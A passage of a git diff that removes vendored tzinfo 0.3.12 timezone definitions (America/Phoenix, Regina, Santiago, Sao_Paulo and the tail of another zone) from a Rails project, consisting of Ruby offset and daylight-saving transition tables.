-          tz.transition 1958, 10, :o1, 9746011, 4
-          tz.transition 1959, 4, :o2, 58480435, 24
-          tz.transition 1959, 10, :o1, 9747467, 4
-          tz.transition 1960, 4, :o2, 58489171, 24
-          tz.transition 1960, 10, :o1, 9748951, 4
-          tz.transition 1961, 4, :o2, 58498075, 24
-          tz.transition 1961, 10, :o1, 9750407, 4
-          tz.transition 1962, 4, :o2, 58506811, 24
-          tz.transition 1962, 10, :o1, 9751863, 4
-          tz.transition 1963, 4, :o2, 58515547, 24
-          tz.transition 1963, 10, :o1, 9753319, 4
-          tz.transition 1964, 4, :o2, 58524283, 24
-          tz.transition 1964, 10, :o1, 9754775, 4
-          tz.transition 1965, 4, :o2, 58533019, 24
-          tz.transition 1965, 10, :o1, 9756259, 4
-          tz.transition 1966, 4, :o2, 58541755, 24
-          tz.transition 1966, 10, :o1, 9757715, 4
-          tz.transition 1967, 4, :o2, 58550659, 24
-          tz.transition 1967, 10, :o1, 9759171, 4
-          tz.transition 1968, 4, :o2, 58559395, 24
-          tz.transition 1968, 10, :o1, 9760627, 4
-          tz.transition 1969, 4, :o2, 58568131, 24
-          tz.transition 1969, 10, :o1, 9762083, 4
-          tz.transition 1970, 4, :o2, 9961200
-          tz.transition 1970, 10, :o1, 25682400
-          tz.transition 1971, 4, :o2, 41410800
-          tz.transition 1971, 10, :o1, 57736800
-          tz.transition 1972, 4, :o2, 73465200
-          tz.transition 1972, 10, :o1, 89186400
-          tz.transition 1973, 4, :o2, 104914800
-          tz.transition 1973, 10, :o1, 120636000
-          tz.transition 1974, 1, :o2, 126687600
-          tz.transition 1974, 10, :o1, 152085600
-          tz.transition 1975, 2, :o2, 162370800
-          tz.transition 1975, 10, :o1, 183535200
-          tz.transition 1976, 4, :o2, 199263600
-          tz.transition 1976, 10, :o1, 215589600
-          tz.transition 1977, 4, :o2, 230713200
-          tz.transition 1977, 10, :o1, 247039200
-          tz.transition 1978, 4, :o2, 262767600
-          tz.transition 1978, 10, :o1, 278488800
-          tz.transition 1979, 4, :o2, 294217200
-          tz.transition 1979, 10, :o1, 309938400
-          tz.transition 1980, 4, :o2, 325666800
-          tz.transition 1980, 10, :o1, 341388000
-          tz.transition 1981, 4, :o2, 357116400
-          tz.transition 1981, 10, :o1, 372837600
-          tz.transition 1982, 4, :o2, 388566000
-          tz.transition 1982, 10, :o1, 404892000
-          tz.transition 1983, 4, :o2, 420015600
-          tz.transition 1983, 10, :o1, 436341600
-          tz.transition 1984, 4, :o2, 452070000
-          tz.transition 1984, 10, :o1, 467791200
-          tz.transition 1985, 4, :o2, 483519600
-          tz.transition 1985, 10, :o1, 499240800
-          tz.transition 1986, 4, :o2, 514969200
-          tz.transition 1986, 10, :o1, 530690400
-          tz.transition 1987, 4, :o2, 544604400
-          tz.transition 1987, 10, :o1, 562140000
-          tz.transition 1988, 4, :o2, 576054000
-          tz.transition 1988, 10, :o1, 594194400
-          tz.transition 1989, 4, :o2, 607503600
-          tz.transition 1989, 10, :o1, 625644000
-          tz.transition 1990, 4, :o2, 638953200
-          tz.transition 1990, 10, :o1, 657093600
-          tz.transition 1991, 4, :o2, 671007600
-          tz.transition 1991, 10, :o1, 688543200
-          tz.transition 1992, 4, :o2, 702457200
-          tz.transition 1992, 10, :o1, 719992800
-          tz.transition 1993, 4, :o2, 733906800
-          tz.transition 1993, 10, :o1, 752047200
-          tz.transition 1994, 4, :o2, 765356400
-          tz.transition 1994, 10, :o1, 783496800
-          tz.transition 1995, 4, :o2, 796806000
-          tz.transition 1995, 10, :o1, 814946400
-          tz.transition 1996, 4, :o2, 828860400
-          tz.transition 1996, 10, :o1, 846396000
-          tz.transition 1997, 4, :o2, 860310000
-          tz.transition 1997, 10, :o1, 877845600
-          tz.transition 1998, 4, :o2, 891759600
-          tz.transition 1998, 10, :o1, 909295200
-          tz.transition 1999, 4, :o2, 923209200
-          tz.transition 1999, 10, :o1, 941349600
-          tz.transition 2000, 4, :o2, 954658800
-          tz.transition 2000, 10, :o1, 972799200
-          tz.transition 2001, 4, :o2, 986108400
-          tz.transition 2001, 10, :o1, 1004248800
-          tz.transition 2002, 4, :o2, 1018162800
-          tz.transition 2002, 10, :o1, 1035698400
-          tz.transition 2003, 4, :o2, 1049612400
-          tz.transition 2003, 10, :o1, 1067148000
-          tz.transition 2004, 4, :o2, 1081062000
-          tz.transition 2004, 10, :o1, 1099202400
-          tz.transition 2005, 4, :o2, 1112511600
-          tz.transition 2005, 10, :o1, 1130652000
-          tz.transition 2006, 4, :o2, 1143961200
-          tz.transition 2006, 10, :o1, 1162101600
-          tz.transition 2007, 3, :o2, 1173596400
-          tz.transition 2007, 11, :o1, 1194156000
-          tz.transition 2008, 3, :o2, 1205046000
-          tz.transition 2008, 11, :o1, 1225605600
-          tz.transition 2009, 3, :o2, 1236495600
-          tz.transition 2009, 11, :o1, 1257055200
-          tz.transition 2010, 3, :o2, 1268550000
-          tz.transition 2010, 11, :o1, 1289109600
-          tz.transition 2011, 3, :o2, 1299999600
-          tz.transition 2011, 11, :o1, 1320559200
-          tz.transition 2012, 3, :o2, 1331449200
-          tz.transition 2012, 11, :o1, 1352008800
-          tz.transition 2013, 3, :o2, 1362898800
-          tz.transition 2013, 11, :o1, 1383458400
-          tz.transition 2014, 3, :o2, 1394348400
-          tz.transition 2014, 11, :o1, 1414908000
-          tz.transition 2015, 3, :o2, 1425798000
-          tz.transition 2015, 11, :o1, 1446357600
-          tz.transition 2016, 3, :o2, 1457852400
-          tz.transition 2016, 11, :o1, 1478412000
-          tz.transition 2017, 3, :o2, 1489302000
-          tz.transition 2017, 11, :o1, 1509861600
-          tz.transition 2018, 3, :o2, 1520751600
-          tz.transition 2018, 11, :o1, 1541311200
-          tz.transition 2019, 3, :o2, 1552201200
-          tz.transition 2019, 11, :o1, 1572760800
-          tz.transition 2020, 3, :o2, 1583650800
-          tz.transition 2020, 11, :o1, 1604210400
-          tz.transition 2021, 3, :o2, 1615705200
-          tz.transition 2021, 11, :o1, 1636264800
-          tz.transition 2022, 3, :o2, 1647154800
-          tz.transition 2022, 11, :o1, 1667714400
-          tz.transition 2023, 3, :o2, 1678604400
-          tz.transition 2023, 11, :o1, 1699164000
-          tz.transition 2024, 3, :o2, 1710054000
-          tz.transition 2024, 11, :o1, 1730613600
-          tz.transition 2025, 3, :o2, 1741503600
-          tz.transition 2025, 11, :o1, 1762063200
-          tz.transition 2026, 3, :o2, 1772953200
-          tz.transition 2026, 11, :o1, 1793512800
-          tz.transition 2027, 3, :o2, 1805007600
-          tz.transition 2027, 11, :o1, 1825567200
-          tz.transition 2028, 3, :o2, 1836457200
-          tz.transition 2028, 11, :o1, 1857016800
-          tz.transition 2029, 3, :o2, 1867906800
-          tz.transition 2029, 11, :o1, 1888466400
-          tz.transition 2030, 3, :o2, 1899356400
-          tz.transition 2030, 11, :o1, 1919916000
-          tz.transition 2031, 3, :o2, 1930806000
-          tz.transition 2031, 11, :o1, 1951365600
-          tz.transition 2032, 3, :o2, 1962860400
-          tz.transition 2032, 11, :o1, 1983420000
-          tz.transition 2033, 3, :o2, 1994310000
-          tz.transition 2033, 11, :o1, 2014869600
-          tz.transition 2034, 3, :o2, 2025759600
-          tz.transition 2034, 11, :o1, 2046319200
-          tz.transition 2035, 3, :o2, 2057209200
-          tz.transition 2035, 11, :o1, 2077768800
-          tz.transition 2036, 3, :o2, 2088658800
-          tz.transition 2036, 11, :o1, 2109218400
-          tz.transition 2037, 3, :o2, 2120108400
-          tz.transition 2037, 11, :o1, 2140668000
-          tz.transition 2038, 3, :o2, 59171923, 24
-          tz.transition 2038, 11, :o1, 9862939, 4
-          tz.transition 2039, 3, :o2, 59180659, 24
-          tz.transition 2039, 11, :o1, 9864395, 4
-          tz.transition 2040, 3, :o2, 59189395, 24
-          tz.transition 2040, 11, :o1, 9865851, 4
-          tz.transition 2041, 3, :o2, 59198131, 24
-          tz.transition 2041, 11, :o1, 9867307, 4
-          tz.transition 2042, 3, :o2, 59206867, 24
-          tz.transition 2042, 11, :o1, 9868763, 4
-          tz.transition 2043, 3, :o2, 59215603, 24
-          tz.transition 2043, 11, :o1, 9870219, 4
-          tz.transition 2044, 3, :o2, 59224507, 24
-          tz.transition 2044, 11, :o1, 9871703, 4
-          tz.transition 2045, 3, :o2, 59233243, 24
-          tz.transition 2045, 11, :o1, 9873159, 4
-          tz.transition 2046, 3, :o2, 59241979, 24
-          tz.transition 2046, 11, :o1, 9874615, 4
-          tz.transition 2047, 3, :o2, 59250715, 24
-          tz.transition 2047, 11, :o1, 9876071, 4
-          tz.transition 2048, 3, :o2, 59259451, 24
-          tz.transition 2048, 11, :o1, 9877527, 4
-          tz.transition 2049, 3, :o2, 59268355, 24
-          tz.transition 2049, 11, :o1, 9879011, 4
-          tz.transition 2050, 3, :o2, 59277091, 24
-          tz.transition 2050, 11, :o1, 9880467, 4
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Phoenix.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Phoenix.rb
deleted file mode 100644
index b514e0c0..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Phoenix.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Phoenix
-        include TimezoneDefinition
-        
-        timezone 'America/Phoenix' do |tz|
-          tz.offset :o0, -26898, 0, :LMT
-          tz.offset :o1, -25200, 0, :MST
-          tz.offset :o2, -25200, 3600, :MDT
-          tz.offset :o3, -25200, 3600, :MWT
-          
-          tz.transition 1883, 11, :o1, 57819199, 24
-          tz.transition 1918, 3, :o2, 19373471, 8
-          tz.transition 1918, 10, :o1, 14531363, 6
-          tz.transition 1919, 3, :o2, 19376383, 8
-          tz.transition 1919, 10, :o1, 14533547, 6
-          tz.transition 1942, 2, :o3, 19443199, 8
-          tz.transition 1944, 1, :o1, 3500770681, 1440
-          tz.transition 1944, 4, :o3, 3500901781, 1440
-          tz.transition 1944, 10, :o1, 3501165241, 1440
-          tz.transition 1967, 4, :o2, 19516887, 8
-          tz.transition 1967, 10, :o1, 14638757, 6
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Regina.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Regina.rb
deleted file mode 100644
index ebdb6881..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Regina.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Regina
-        include TimezoneDefinition
-        
-        timezone 'America/Regina' do |tz|
-          tz.offset :o0, -25116, 0, :LMT
-          tz.offset :o1, -25200, 0, :MST
-          tz.offset :o2, -25200, 3600, :MDT
-          tz.offset :o3, -25200, 3600, :MWT
-          tz.offset :o4, -25200, 3600, :MPT
-          tz.offset :o5, -21600, 0, :CST
-          
-          tz.transition 1905, 9, :o1, 17403046493, 7200
-          tz.transition 1918, 4, :o2, 19373583, 8
-          tz.transition 1918, 10, :o1, 14531387, 6
-          tz.transition 1930, 5, :o2, 58226419, 24
-          tz.transition 1930, 10, :o1, 9705019, 4
-          tz.transition 1931, 5, :o2, 58235155, 24
-          tz.transition 1931, 10, :o1, 9706475, 4
-          tz.transition 1932, 5, :o2, 58243891, 24
-          tz.transition 1932, 10, :o1, 9707931, 4
-          tz.transition 1933, 5, :o2, 58252795, 24
-          tz.transition 1933, 10, :o1, 9709387, 4
-          tz.transition 1934, 5, :o2, 58261531, 24
-          tz.transition 1934, 10, :o1, 9710871, 4
-          tz.transition 1937, 4, :o2, 58287235, 24
-          tz.transition 1937, 10, :o1, 9715267, 4
-          tz.transition 1938, 4, :o2, 58295971, 24
-          tz.transition 1938, 10, :o1, 9716695, 4
-          tz.transition 1939, 4, :o2, 58304707, 24
-          tz.transition 1939, 10, :o1, 9718179, 4
-          tz.transition 1940, 4, :o2, 58313611, 24
-          tz.transition 1940, 10, :o1, 9719663, 4
-          tz.transition 1941, 4, :o2, 58322347, 24
-          tz.transition 1941, 10, :o1, 9721119, 4
-          tz.transition 1942, 2, :o3, 19443199, 8
-          tz.transition 1945, 8, :o4, 58360379, 24
-          tz.transition 1945, 9, :o1, 14590373, 6
-          tz.transition 1946, 4, :o2, 19455399, 8
-          tz.transition 1946, 10, :o1, 14592641, 6
-          tz.transition 1947, 4, :o2, 19458423, 8
-          tz.transition 1947, 9, :o1, 14594741, 6
-          tz.transition 1948, 4, :o2, 19461335, 8
-          tz.transition 1948, 9, :o1, 14596925, 6
-          tz.transition 1949, 4, :o2, 19464247, 8
-          tz.transition 1949, 9, :o1, 14599109, 6
-          tz.transition 1950, 4, :o2, 19467215, 8
-          tz.transition 1950, 9, :o1, 14601293, 6
-          tz.transition 1951, 4, :o2, 19470127, 8
-          tz.transition 1951, 9, :o1, 14603519, 6
-          tz.transition 1952, 4, :o2, 19473039, 8
-          tz.transition 1952, 9, :o1, 14605703, 6
-          tz.transition 1953, 4, :o2, 19475951, 8
-          tz.transition 1953, 9, :o1, 14607887, 6
-          tz.transition 1954, 4, :o2, 19478863, 8
-          tz.transition 1954, 9, :o1, 14610071, 6
-          tz.transition 1955, 4, :o2, 19481775, 8
-          tz.transition 1955, 9, :o1, 14612255, 6
-          tz.transition 1956, 4, :o2, 19484743, 8
-          tz.transition 1956, 9, :o1, 14614481, 6
-          tz.transition 1957, 4, :o2, 19487655, 8
-          tz.transition 1957, 9, :o1, 14616665, 6
-          tz.transition 1959, 4, :o2, 19493479, 8
-          tz.transition 1959, 10, :o1, 14621201, 6
-          tz.transition 1960, 4, :o5, 19496391, 8
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Santiago.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Santiago.rb
deleted file mode 100644
index 0287c9eb..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Santiago.rb
+++ /dev/null
@@ -1,205 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Santiago
-        include TimezoneDefinition
-        
-        timezone 'America/Santiago' do |tz|
-          tz.offset :o0, -16966, 0, :LMT
-          tz.offset :o1, -16966, 0, :SMT
-          tz.offset :o2, -18000, 0, :CLT
-          tz.offset :o3, -14400, 0, :CLT
-          tz.offset :o4, -18000, 3600, :CLST
-          tz.offset :o5, -14400, 3600, :CLST
-          
-          tz.transition 1890, 1, :o1, 104171127683, 43200
-          tz.transition 1910, 1, :o2, 104486660483, 43200
-          tz.transition 1916, 7, :o1, 58105097, 24
-          tz.transition 1918, 9, :o3, 104623388483, 43200
-          tz.transition 1919, 7, :o1, 7266422, 3
-          tz.transition 1927, 9, :o4, 104765386883, 43200
-          tz.transition 1928, 4, :o2, 7276013, 3
-          tz.transition 1928, 9, :o4, 58211777, 24
-          tz.transition 1929, 4, :o2, 7277108, 3
-          tz.transition 1929, 9, :o4, 58220537, 24
-          tz.transition 1930, 4, :o2, 7278203, 3
-          tz.transition 1930, 9, :o4, 58229297, 24
-          tz.transition 1931, 4, :o2, 7279298, 3
-          tz.transition 1931, 9, :o4, 58238057, 24
-          tz.transition 1932, 4, :o2, 7280396, 3
-          tz.transition 1932, 9, :o4, 58246841, 24
-          tz.transition 1942, 6, :o2, 7291535, 3
-          tz.transition 1942, 8, :o4, 58333745, 24
-          tz.transition 1946, 9, :o2, 19456517, 8
-          tz.transition 1947, 5, :o3, 58375865, 24
-          tz.transition 1968, 11, :o5, 7320491, 3
-          tz.transition 1969, 3, :o3, 19522485, 8
-          tz.transition 1969, 11, :o5, 7321646, 3
-          tz.transition 1970, 3, :o3, 7527600
-          tz.transition 1970, 10, :o5, 24465600
-          tz.transition 1971, 3, :o3, 37767600
-          tz.transition 1971, 10, :o5, 55915200
-          tz.transition 1972, 3, :o3, 69217200
-          tz.transition 1972, 10, :o5, 87969600
-          tz.transition 1973, 3, :o3, 100666800
-          tz.transition 1973, 9, :o5, 118209600
-          tz.transition 1974, 3, :o3, 132116400
-          tz.transition 1974, 10, :o5, 150868800
-          tz.transition 1975, 3, :o3, 163566000
-          tz.transition 1975, 10, :o5, 182318400
-          tz.transition 1976, 3, :o3, 195620400
-          tz.transition 1976, 10, :o5, 213768000
-          tz.transition 1977, 3, :o3, 227070000
-          tz.transition 1977, 10, :o5, 245217600
-          tz.transition 1978, 3, :o3, 258519600
-          tz.transition 1978, 10, :o5, 277272000
-          tz.transition 1979, 3, :o3, 289969200
-          tz.transition 1979, 10, :o5, 308721600
-          tz.transition 1980, 3, :o3, 321418800
-          tz.transition 1980, 10, :o5, 340171200
-          tz.transition 1981, 3, :o3, 353473200
-          tz.transition 1981, 10, :o5, 371620800
-          tz.transition 1982, 3, :o3, 384922800
-          tz.transition 1982, 10, :o5, 403070400
-          tz.transition 1983, 3, :o3, 416372400
-          tz.transition 1983, 10, :o5, 434520000
-          tz.transition 1984, 3, :o3, 447822000
-          tz.transition 1984, 10, :o5, 466574400
-          tz.transition 1985, 3, :o3, 479271600
-          tz.transition 1985, 10, :o5, 498024000
-          tz.transition 1986, 3, :o3, 510721200
-          tz.transition 1986, 10, :o5, 529473600
-          tz.transition 1987, 4, :o3, 545194800
-          tz.transition 1987, 10, :o5, 560923200
-          tz.transition 1988, 3, :o3, 574225200
-          tz.transition 1988, 10, :o5, 591768000
-          tz.transition 1989, 3, :o3, 605674800
-          tz.transition 1989, 10, :o5, 624427200
-          tz.transition 1990, 3, :o3, 637729200
-          tz.transition 1990, 9, :o5, 653457600
-          tz.transition 1991, 3, :o3, 668574000
-          tz.transition 1991, 10, :o5, 687326400
-          tz.transition 1992, 3, :o3, 700628400
-          tz.transition 1992, 10, :o5, 718776000
-          tz.transition 1993, 3, :o3, 732078000
-          tz.transition 1993, 10, :o5, 750225600
-          tz.transition 1994, 3, :o3, 763527600
-          tz.transition 1994, 10, :o5, 781675200
-          tz.transition 1995, 3, :o3, 794977200
-          tz.transition 1995, 10, :o5, 813729600
-          tz.transition 1996, 3, :o3, 826426800
-          tz.transition 1996, 10, :o5, 845179200
-          tz.transition 1997, 3, :o3, 859690800
-          tz.transition 1997, 10, :o5, 876628800
-          tz.transition 1998, 3, :o3, 889930800
-          tz.transition 1998, 9, :o5, 906868800
-          tz.transition 1999, 4, :o3, 923194800
-          tz.transition 1999, 10, :o5, 939528000
-          tz.transition 2000, 3, :o3, 952830000
-          tz.transition 2000, 10, :o5, 971582400
-          tz.transition 2001, 3, :o3, 984279600
-          tz.transition 2001, 10, :o5, 1003032000
-          tz.transition 2002, 3, :o3, 1015729200
-          tz.transition 2002, 10, :o5, 1034481600
-          tz.transition 2003, 3, :o3, 1047178800
-          tz.transition 2003, 10, :o5, 1065931200
-          tz.transition 2004, 3, :o3, 1079233200
-          tz.transition 2004, 10, :o5, 1097380800
-          tz.transition 2005, 3, :o3, 1110682800
-          tz.transition 2005, 10, :o5, 1128830400
-          tz.transition 2006, 3, :o3, 1142132400
-          tz.transition 2006, 10, :o5, 1160884800
-          tz.transition 2007, 3, :o3, 1173582000
-          tz.transition 2007, 10, :o5, 1192334400
-          tz.transition 2008, 3, :o3, 1206846000
-          tz.transition 2008, 10, :o5, 1223784000
-          tz.transition 2009, 3, :o3, 1237086000
-          tz.transition 2009, 10, :o5, 1255233600
-          tz.transition 2010, 3, :o3, 1268535600
-          tz.transition 2010, 10, :o5, 1286683200
-          tz.transition 2011, 3, :o3, 1299985200
-          tz.transition 2011, 10, :o5, 1318132800
-          tz.transition 2012, 3, :o3, 1331434800
-          tz.transition 2012, 10, :o5, 1350187200
-          tz.transition 2013, 3, :o3, 1362884400
-          tz.transition 2013, 10, :o5, 1381636800
-          tz.transition 2014, 3, :o3, 1394334000
-          tz.transition 2014, 10, :o5, 1413086400
-          tz.transition 2015, 3, :o3, 1426388400
-          tz.transition 2015, 10, :o5, 1444536000
-          tz.transition 2016, 3, :o3, 1457838000
-          tz.transition 2016, 10, :o5, 1475985600
-          tz.transition 2017, 3, :o3, 1489287600
-          tz.transition 2017, 10, :o5, 1508040000
-          tz.transition 2018, 3, :o3, 1520737200
-          tz.transition 2018, 10, :o5, 1539489600
-          tz.transition 2019, 3, :o3, 1552186800
-          tz.transition 2019, 10, :o5, 1570939200
-          tz.transition 2020, 3, :o3, 1584241200
-          tz.transition 2020, 10, :o5, 1602388800
-          tz.transition 2021, 3, :o3, 1615690800
-          tz.transition 2021, 10, :o5, 1633838400
-          tz.transition 2022, 3, :o3, 1647140400
-          tz.transition 2022, 10, :o5, 1665288000
-          tz.transition 2023, 3, :o3, 1678590000
-          tz.transition 2023, 10, :o5, 1697342400
-          tz.transition 2024, 3, :o3, 1710039600
-          tz.transition 2024, 10, :o5, 1728792000
-          tz.transition 2025, 3, :o3, 1741489200
-          tz.transition 2025, 10, :o5, 1760241600
-          tz.transition 2026, 3, :o3, 1773543600
-          tz.transition 2026, 10, :o5, 1791691200
-          tz.transition 2027, 3, :o3, 1804993200
-          tz.transition 2027, 10, :o5, 1823140800
-          tz.transition 2028, 3, :o3, 1836442800
-          tz.transition 2028, 10, :o5, 1855195200
-          tz.transition 2029, 3, :o3, 1867892400
-          tz.transition 2029, 10, :o5, 1886644800
-          tz.transition 2030, 3, :o3, 1899342000
-          tz.transition 2030, 10, :o5, 1918094400
-          tz.transition 2031, 3, :o3, 1930791600
-          tz.transition 2031, 10, :o5, 1949544000
-          tz.transition 2032, 3, :o3, 1962846000
-          tz.transition 2032, 10, :o5, 1980993600
-          tz.transition 2033, 3, :o3, 1994295600
-          tz.transition 2033, 10, :o5, 2012443200
-          tz.transition 2034, 3, :o3, 2025745200
-          tz.transition 2034, 10, :o5, 2044497600
-          tz.transition 2035, 3, :o3, 2057194800
-          tz.transition 2035, 10, :o5, 2075947200
-          tz.transition 2036, 3, :o3, 2088644400
-          tz.transition 2036, 10, :o5, 2107396800
-          tz.transition 2037, 3, :o3, 2120698800
-          tz.transition 2037, 10, :o5, 2138846400
-          tz.transition 2038, 3, :o3, 19723973, 8
-          tz.transition 2038, 10, :o5, 7397120, 3
-          tz.transition 2039, 3, :o3, 19726885, 8
-          tz.transition 2039, 10, :o5, 7398212, 3
-          tz.transition 2040, 3, :o3, 19729797, 8
-          tz.transition 2040, 10, :o5, 7399325, 3
-          tz.transition 2041, 3, :o3, 19732709, 8
-          tz.transition 2041, 10, :o5, 7400417, 3
-          tz.transition 2042, 3, :o3, 19735621, 8
-          tz.transition 2042, 10, :o5, 7401509, 3
-          tz.transition 2043, 3, :o3, 19738589, 8
-          tz.transition 2043, 10, :o5, 7402601, 3
-          tz.transition 2044, 3, :o3, 19741501, 8
-          tz.transition 2044, 10, :o5, 7403693, 3
-          tz.transition 2045, 3, :o3, 19744413, 8
-          tz.transition 2045, 10, :o5, 7404806, 3
-          tz.transition 2046, 3, :o3, 19747325, 8
-          tz.transition 2046, 10, :o5, 7405898, 3
-          tz.transition 2047, 3, :o3, 19750237, 8
-          tz.transition 2047, 10, :o5, 7406990, 3
-          tz.transition 2048, 3, :o3, 19753205, 8
-          tz.transition 2048, 10, :o5, 7408082, 3
-          tz.transition 2049, 3, :o3, 19756117, 8
-          tz.transition 2049, 10, :o5, 7409174, 3
-          tz.transition 2050, 3, :o3, 19759029, 8
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Sao_Paulo.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Sao_Paulo.rb
deleted file mode 100644
index 0524f81c..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Sao_Paulo.rb
+++ /dev/null
@@ -1,171 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Sao_Paulo
-        include TimezoneDefinition
-        
-        timezone 'America/Sao_Paulo' do |tz|
-          tz.offset :o0, -11188, 0, :LMT
-          tz.offset :o1, -10800, 0, :BRT
-          tz.offset :o2, -10800, 3600, :BRST
-          
-          tz.transition 1914, 1, :o1, 52274886397, 21600
-          tz.transition 1931, 10, :o2, 29119417, 12
-          tz.transition 1932, 4, :o1, 29121583, 12
-          tz.transition 1932, 10, :o2, 19415869, 8
-          tz.transition 1933, 4, :o1, 29125963, 12
-          tz.transition 1949, 12, :o2, 19466013, 8
-          tz.transition 1950, 4, :o1, 19467101, 8
-          tz.transition 1950, 12, :o2, 19468933, 8
-          tz.transition 1951, 4, :o1, 29204851, 12
-          tz.transition 1951, 12, :o2, 19471853, 8
-          tz.transition 1952, 4, :o1, 29209243, 12
-          tz.transition 1952, 12, :o2, 19474781, 8
-          tz.transition 1953, 3, :o1, 29213251, 12
-          tz.transition 1963, 10, :o2, 19506605, 8
-          tz.transition 1964, 3, :o1, 29261467, 12
-          tz.transition 1965, 1, :o2, 19510333, 8
-          tz.transition 1965, 3, :o1, 29266207, 12
-          tz.transition 1965, 12, :o2, 19512765, 8
-          tz.transition 1966, 3, :o1, 29270227, 12
-          tz.transition 1966, 11, :o2, 19515445, 8
-          tz.transition 1967, 3, :o1, 29274607, 12
-          tz.transition 1967, 11, :o2, 19518365, 8
-          tz.transition 1968, 3, :o1, 29278999, 12
-          tz.transition 1985, 11, :o2, 499748400
-          tz.transition 1986, 3, :o1, 511236000
-          tz.transition 1986, 10, :o2, 530593200
-          tz.transition 1987, 2, :o1, 540266400
-          tz.transition 1987, 10, :o2, 562129200
-          tz.transition 1988, 2, :o1, 571197600
-          tz.transition 1988, 10, :o2, 592974000
-          tz.transition 1989, 1, :o1, 602042400
-          tz.transition 1989, 10, :o2, 624423600
-          tz.transition 1990, 2, :o1, 634701600
-          tz.transition 1990, 10, :o2, 656478000
-          tz.transition 1991, 2, :o1, 666756000
-          tz.transition 1991, 10, :o2, 687927600
-          tz.transition 1992, 2, :o1, 697600800
-          tz.transition 1992, 10, :o2, 719982000
-          tz.transition 1993, 1, :o1, 728445600
-          tz.transition 1993, 10, :o2, 750826800
-          tz.transition 1994, 2, :o1, 761709600
-          tz.transition 1994, 10, :o2, 782276400
-          tz.transition 1995, 2, :o1, 793159200
-          tz.transition 1995, 10, :o2, 813726000
-          tz.transition 1996, 2, :o1, 824004000
-          tz.transition 1996, 10, :o2, 844570800
-          tz.transition 1997, 2, :o1, 856058400
-          tz.transition 1997, 10, :o2, 876106800
-          tz.transition 1998, 3, :o1, 888717600
-          tz.transition 1998, 10, :o2, 908074800
-          tz.transition 1999, 2, :o1, 919562400
-          tz.transition 1999, 10, :o2, 938919600
-          tz.transition 2000, 2, :o1, 951616800
-          tz.transition 2000, 10, :o2, 970974000
-          tz.transition 2001, 2, :o1, 982461600
-          tz.transition 2001, 10, :o2, 1003028400
-          tz.transition 2002, 2, :o1, 1013911200
-          tz.transition 2002, 11, :o2, 1036292400
-          tz.transition 2003, 2, :o1, 1045360800
-          tz.transition 2003, 10, :o2, 1066532400
-          tz.transition 2004, 2, :o1, 1076810400
-          tz.transition 2004, 11, :o2, 1099364400
-          tz.transition 2005, 2, :o1, 1108864800
-          tz.transition 2005, 10, :o2, 1129431600
-          tz.transition 2006, 2, :o1, 1140314400
-          tz.transition 2006, 11, :o2, 1162695600
-          tz.transition 2007, 2, :o1, 1172368800
-          tz.transition 2007, 10, :o2, 1192330800
-          tz.transition 2008, 2, :o1, 1203213600
-          tz.transition 2008, 10, :o2, 1224385200
-          tz.transition 2009, 2, :o1, 1234663200
-          tz.transition 2009, 10, :o2, 1255834800
-          tz.transition 2010, 2, :o1, 1266717600
-          tz.transition 2010, 10, :o2, 1287284400
-          tz.transition 2011, 2, :o1, 1298167200
-          tz.transition 2011, 10, :o2, 1318734000
-          tz.transition 2012, 2, :o1, 1330221600
-          tz.transition 2012, 10, :o2, 1350788400
-          tz.transition 2013, 2, :o1, 1361066400
-          tz.transition 2013, 10, :o2, 1382238000
-          tz.transition 2014, 2, :o1, 1392516000
-          tz.transition 2014, 10, :o2, 1413687600
-          tz.transition 2015, 2, :o1, 1424570400
-          tz.transition 2015, 10, :o2, 1445137200
-          tz.transition 2016, 2, :o1, 1456020000
-          tz.transition 2016, 10, :o2, 1476586800
-          tz.transition 2017, 2, :o1, 1487469600
-          tz.transition 2017, 10, :o2, 1508036400
-          tz.transition 2018, 2, :o1, 1518919200
-          tz.transition 2018, 10, :o2, 1540090800
-          tz.transition 2019, 2, :o1, 1550368800
-          tz.transition 2019, 10, :o2, 1571540400
-          tz.transition 2020, 2, :o1, 1581818400
-          tz.transition 2020, 10, :o2, 1602990000
-          tz.transition 2021, 2, :o1, 1613872800
-          tz.transition 2021, 10, :o2, 1634439600
-          tz.transition 2022, 2, :o1, 1645322400
-          tz.transition 2022, 10, :o2, 1665889200
-          tz.transition 2023, 2, :o1, 1677376800
-          tz.transition 2023, 10, :o2, 1697338800
-          tz.transition 2024, 2, :o1, 1708221600
-          tz.transition 2024, 10, :o2, 1729393200
-          tz.transition 2025, 2, :o1, 1739671200
-          tz.transition 2025, 10, :o2, 1760842800
-          tz.transition 2026, 2, :o1, 1771725600
-          tz.transition 2026, 10, :o2, 1792292400
-          tz.transition 2027, 2, :o1, 1803175200
-          tz.transition 2027, 10, :o2, 1823742000
